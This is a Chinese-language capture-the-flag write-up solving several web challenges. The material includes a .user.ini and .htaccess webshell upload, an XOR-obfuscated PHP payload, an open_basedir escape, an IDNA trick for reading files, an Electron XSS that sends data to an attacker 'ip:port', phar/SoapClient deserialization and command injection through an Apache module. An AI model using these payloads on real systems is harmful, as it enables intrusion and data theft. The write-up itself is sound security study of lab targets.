8月中的国内赛,比起国际赛的相对容易,当时就打了一天,现在补一下
CheckIn
进去一个上传界面,直接传一个php上去
后缀被过滤
直接传一张图
提示不允许<?,也就是说检查到了内容中。这里可以用<script language="php">
绕过,但问题在于需要解析为php才行
于是尝试构造.htaccess上传
检查了文件头,给.htaccess添加文件头会导致.htaccess失效,于是无法利用.htaccess来将jpg解析为php(而且后面发现服务器是nginx而不是apache
于是构造一张能上传的gif,主要是由于大一点的图片就会有<?,同时gif头比较短好构造
可以看到创建了一个文件夹并在其中有个index.php
这里要利用的是.user.ini
的漏洞,这个漏洞在apache,nginx,IIS这些服务器上都能利用,只要是通过fastcgi运行的php都能够使用
具体可以参考一下这里.user.ini文件构成的PHP后门 – phith0n
.user.ini
是用来自定义的一个ini,它影响的范围是该文件夹下的文件,也就是说能通过.user.ini
使得不同文件夹下的php具有不同的配置。不过PHP_INI_SYSTEM
模式的配置是不能.user.ini
来进行配置,只能由php.ini
配置。
而php中个很有用的配置auto_prepend_file
,先给个例子auto_prepend_file=config.php
这样配置完auto_prepend_file
后,所有的php都会包含这个config.php
。这样就可以省去在php中进行include和require一些配置文件
虽然很有用,但这也造成了漏洞,如果我们修改了auto_prepend_file
并指向一个木马文件,那就可以通过访问任意站内的php去执行木马
这里利用这点,正好这个目录下自动创建了一个index.php
,于是尝试去构造一个.user.ini
并上传
这样如果能使用的话,再上传一个带有由一句话的gif,就能由于index.php
引入了1.gif进而利用
上传后访问
成功,接着读根目录
有flag,直接cat
EasyPHP
读源码
1 | <?php |
可以看出这题分为两部分,一个对hhh进行检验然后执行,还有get_the_flag()的上传文件利用
这里对hhh检验了三步if(strlen($hhh)>18)
长度不得大于18if(preg_match('/[\x00- 0-9A-Za-z\'"\`
~&.,|=[\x7F]+/i’, $hhh))hhh不得包含0-9,a-z,A-Z,\x00-\x7f,'"
~&.,|=这些符号$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");
hhh包含的不同字符不得多于12
这里比较麻烦的是正则检验,其它两个可以使用{$_GET[‘x’]}绕过
绕过正则要用点小技巧,参考这里
Samik081/ctf-writeups
我们可以利用|!~^这些计算符号,去使用为过滤的字符计算出需要的字符从而绕过过滤
这里用取反或者异或都行
1 | <?php |
简单计算一下得到payload_=${ %80%80%80%80^%df%c7%c5%d4 }{ %80 }();&%80=get_the_flag
(这里有点格式问题就加了空格,记得删)
这里为了不同字符不多于12,将参数名设为%80%df%c7%c5%d4
其中一个就行了【出题的大佬故意这么设的吧
然后到上传文件部分
1 | if(!empty($_FILES["file"])){ |
检查后缀名和内容,感觉和上题差不多,不过这次没有index.php
生成,只用.user.ini.
起不了效,需要.htaccess
。但要使用.htaccess
有个问题,由于检查了头部就必须添加图片格式的头部在.htaccess
中,而如果.htaccess
格式错误就会导致整个目录出错500
这里查到是原题是Insomni’hack CTF-l33t-hoster
题解使用了xbm格式
xbm文件是通过C来标识文件的,举一个例子
1 | #define test_width 16 |
xbm被exif_imagetype()
检查的部分为前两行define的部分,而.htaccess
中#为注释,这样可通过exif_imagetype()
检测并且.htaccess
也不会出错
还有大佬测试测出使用wbmp格式,头为00008A398A39
也是能够绕过并执行的,可能是由于0x00
在.htaccess
也是注释。同时还和exif_imagetype()
检查幻数有关【不太懂
绕过.htaccess
后图片就简单了,随便一个图片头都可以。于是依旧尝试和上题一样用<script>
但无法执行,想了想才意识到既然用了复杂变量那就是php7了,<script>
无法使用。于是这里还要在.htaccess
中添加php_value auto_append_file
,和上题差不多。不过这次用php://filter
伪协议去base64解码上传的文件,然后上传的文件里用base64编码一下就可以绕过<?
了
这里还要保证解压出来后还是一句话,文件头后补满到四的倍数
1 | import requests |
测试一下
上传成功,读波目录
没有返回,去看看phpinfo
可以看到系统函数都被ban了,那用scandir()
读目录
然而是个假flag,于是直接读根目录但是不行print_r(scandir('/'));
,但无返回。
回去phpinfo看看,果然又是open_basedir,绕一波读根目录
mkdir('kotori');chdir('kotori');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(scandir('/'));
mkdir('kotori');chdir('kotori');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo(file_get_contents('THis_Is_tHe_F14g'));
获得flag
不过这题的假flag中提示了fpm,后面看官方wp也提到了这个,先码着以后再看看Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写
Pythonginx
看题目应该是python+nginx的题
进去F12看源码
1 | @app.route('/getUrl', methods=['GET', 'POST']) |
这里检查了三次hostname,要求前两次检查不为suctf.cc
,最后一次为suctf.cc
才会去读取。这里应该就是通过urlopen()
读flag,问题是怎么绕过前两次
前面两次看起来没什么方法绕过,于是看第二次到第三次间做了什么
它这里用不同的编码进行了编码解码,可能漏洞就在这newhost.append(h.encode('idna').decode('utf-8'))
查一下idna和utf-8可以看到很多这两个编码间转码造成的问题
而且可以查到在blackhat大会上也提到了这个
us-19-Birch-HostSplit-Exploitable-Antipatterns-In-Unicode-Normalization
于是测试一下有什么可以使用的
1 | # -*- coding:utf8 -*- |
跑一下可以跑出一堆,这里用0x17f代替s
然后尝试一下http://ſuctf.cc
成功回到首页,于是file协议读一波/etc/passwd
没啥东西
这时想到题目有nginx,同时源码有提示了一次
于是/usr/local/nginx/conf/nginx.conf
然后最后读flag
?url=file://ſuctf.cc/../../../../../../../../../../usr/fffffflag
看有大佬只去读了/etc/nginx/conf.d/nginx.conf
没读/usr/local/nginx/conf/nginx.conf
丢了一血真的亏,没怎么用nginx记一下这两个配置位置先
iCloudMusic
这题buu上没有,bot日常起不来,本地起的Electron页面也不是很好用,脑补做题法x
下载下来的压缩包中有个resources,进去后有个asar文件,可以用asar命令解包获得源码
1 | npm install asar 安装一下asar |
读源码直接去看到main.js
1 | let filter=(input)=>{ |
36行处对input的输入全都进行了过滤
然后找到搜索框对应的交互
1 | search.onclick=function(){ |
进行了搜索,然后将结果放入js_to_run
中,再用executeJavaScript()
执行js_to_run
再去看list.html
1 | <div id="container"> |
有一个分享给管理员的功能,八成是XSS了
1 | <script> |
这里将music_info进行json序列化后发送,不过不太懂这里的music_info是怎么获得的
id=xxx&music={"header":"xxxx","title":"xxxx","desc":"xxx"} &code=xxx
通过测试可以知道发送的参数是这样的,结合刚刚搜索框处的代码,猜测是通过id去获取music读取其中内容。因为这里的music不是通过input提交,于是可以不用理那个过滤。同时js_to_run
中,header没有做任何限制,可以利用header发动攻击
像这样就能把弹回数据
{"header":"'};var xml = new XMLHttpRequest;xml.open('POST', 'ip:port', !0),xml.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'),xml.onreadystatechange = function() { 4 == xml.readyState && xml.status},xml.send('test');//","title":"xxxx","desc":"xxx"}
接入js_to_run
后就第一句就成了
window.music_info={header:''};var xml = new XMLHttpRequest;xml.open('POST', 'ip:port', !0),xml.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'),xml.onreadystatechange = function() { 4 == xml.readyState && xml.status},xml.send('test');//',title:'xxxx',desc:'xxx'};
然后executeJavaScript()
执行这一句就成功发出请求
不过只是弹数据不够,还需要RCE。在electron中,当nodeIntegration
为true
时,可以使用nodejs模块。也就是说当nodeIntegration
设置允许时,可以通过nodejs进行RCE
但是,虽然这题nodeIntegration
是允许的,但view所生成的webview窗口是与原页面分开的,也就是一个沙盒,默认nodeIntegration
为关闭的,无法使用nodejs
不过题目在这里给了个hint:contextisolation
于是去查一下,可以查到
Electron v7.1 官方中文文档:安全 3)为远程内容开启上下文隔离
也就是contextIsolation
为false
时,上下文不再隔离,预加载的脚本中配置就能在主上下文中修改,同时有效于预加载了该脚本的窗口中
<webview src="http://127.0.0.1:5000/list.html" preload="pr.js" id="view"></webview>
这里预加载了pr.js
,不过没配置contextisolation
,应该默认是关的吧
利用这个配置问题,我们可以重写函数
1 | Function.prototype.apply2=Function.prototype.apply; |
先像这样重写一波所有函数,输出传入的所有参数。通过暴力fuzz,去寻找process类。经过尝试使用request.get()
函数时,第一个参数为process类
于是再次重写反弹shell
1 | Function.prototype.apply2=Function.prototype.apply; |
这里除了暴力fuzz还能通过白盒审计去找寻process
process下有nextTrick()
这个函数
1 | ƒ (...args) { |
使用func.apply()
时传入了自身
而http库下,处理socket请求的关键函数调用了netxTrick()
1 | ClientRequest.prototype.onSocket = function onSocket(socket) { |
然后request库中请求也都是使用http库,同时自身也多次调用了netxTrick()
1 | var defer = typeof setImmediate === 'undefined' |
不过我还是觉得比起白盒爆破应该更快Orz,毕竟pr.js
中就引用了request库,会从这里开始找
做这题发现Electron这个玩意还挺好玩的样子,做出来的桌面页面有点漂亮,寒假整整玩看
easy_sql
这题其实看不太懂大佬们怎么猜出sql语句的。这题是堆叠注入,fuzz一下可以发现过滤了union,from,like,where
之类的,直接查不太可能了
这里测试时会发现只有输入非零数字时才会回显,但靠这个真的猜不出语句呀Orz。后台的sql语句应该是select $_GET['query'] || flag from flag
看到后想到可以输入true和false去测试,实际也成功了,不过不知道语句前实在想不到
得到了语句后,就想到直接去查那个列不就好了,尝试了一下flag,1
,不过flag被过滤了。那就直接读全部吧,于是*,1
得到flag
不过其实这题出题人想考的是||可以通过mysql的配置修改为两个字符串连接
可以看mysql的手册SQL_MODE
可以通过将mysql的模式设为PIPES_AS_CONCAT
,这样||就会被认为是连接符而不是或运算。Mysql可以用set sql_mode=
语句设置模式,于是构造一下payload1;set sql_mode=PIPES_AS_CONCAT;select 1
同样可以拿到flag
Uploads labs 2
比赛时给了源码,是道审计题
1 | if (isset($_POST["upload"])) { |
1 | function check(){ |
这次的上传没有检查文件头,只是检查了后缀和内容,猜测是phar的反序列化。一开始想着是不是file_get_contents
处触发,不过想想file_name
难以控制应该不是这
然后看func.php
1 | if (isset($_POST["submit"]) && isset($_POST["url"])) { |
这里过滤了一堆协议,不允许以这些协议开头,这就很难搞。不过没有过滤php,于是就有大佬fuzz出php://filter/resource=phar://
,tql又学到一个新操作
然后用到了file类
1 | class File{ |
File类的__wakeup()
中使用了反射类,那我们可以利用这里实例化其他类。然后在getMIME()
中使用了finfo_file()
,那就是利用这里反序列化phar,继而反序列化File调用__wakeup()
。接下来要做什么继续看
1 | class Ad{ |
admin.php
中有个Ad类,__destruct()
中使用了system()
,那就是要利用这里
1 | if($_SERVER['REMOTE_ADDR'] == '127.0.0.1'){ |
继续看下面,判断是否来自127.0.0.1,然后实例化Ad类调用check()
。那就是要用soap类去访问这里
结合前面分析的,就是构造一个phar包,其中为File类,File类中的func指向SoapClient,通过SoapClient向admin.php
发送请求,调用system()
再用curl将数据带出
于是构造一下,在反射类那里突然发现好像自己没用过多少类,查了一下用了DateTime类【wtcl
1 | <?php |
然而这个整了一个下午我都没带出数据,把代码部署到自己服务器上尝试可以但buu上就是不行,不知道为什么了Orz
这里除了用<script>
外还可以用GIF89aphp __HALT_COMPILER(); ?>
绕过<?
的检查,phar包有__HALT_COMPILER(); ?>
作为头部的结尾就能使用
不过这题预期解是要我们用mysqli类
1 | $m = new mysqli(); |
像这样,通过real_connect()
可以将options()
的设置覆盖掉,这样就能保证LOAD DATA INFILE
能够使用。然后连接上远程的数据库,LOAD DATA INFILE
一波完事
Cocktail’s Remix
这题甚至连docker都没有,也许大佬还要拿来复用?不过最近的比赛好像都没看到的样子,最重要分析的so文件都没有,真的就只能全程脑补了Orz
扫目录可以扫到robots.txt
1 | User-agent: * |
info.php
为phpinfodownload.php
能够下载,但不知道要传入什么。抓包后发现Content-Disposition
处有个filename,于是尝试filename传参
传入filename发现可以实现任意文件下载
于是去拿源码,config.php
中给了mysql的账户与密码
1 | <?php |
拿了其它几个源码没什么用,于是去读phpinfo
在扩展中发现了一个和题目名相似的扩展,于是拿一波/usr/lib/apache2/modules/mod_cocktail.so
so文件分析就只能用大佬们给的图分析了
可以看到,35行用popen()
执行了reffer中命令,猜测应该是在ap_rwrite()
处就返回出来了
往上找reffer,发现reffer应该是v7经过j_remix()
处理后的结果,再往上看v3看起来像头部信息,那v5应该也是头部里的信息。28行将v7与Reffer字符串比较,那应该是通过在头部设置Reffer,将值传给了v7加密后赋给reffer
然后去读j_remix()
看起来是某种编码,使用IDA的findcrypt插件可以发现有base64表,猜测是base64
于是利用此处,在头部添加Reffer,并加入base64后的命令。但由于没有权限写webshell,只能通过将mysql的数据输出到文件中再读取文件获得信息
1 | payload: |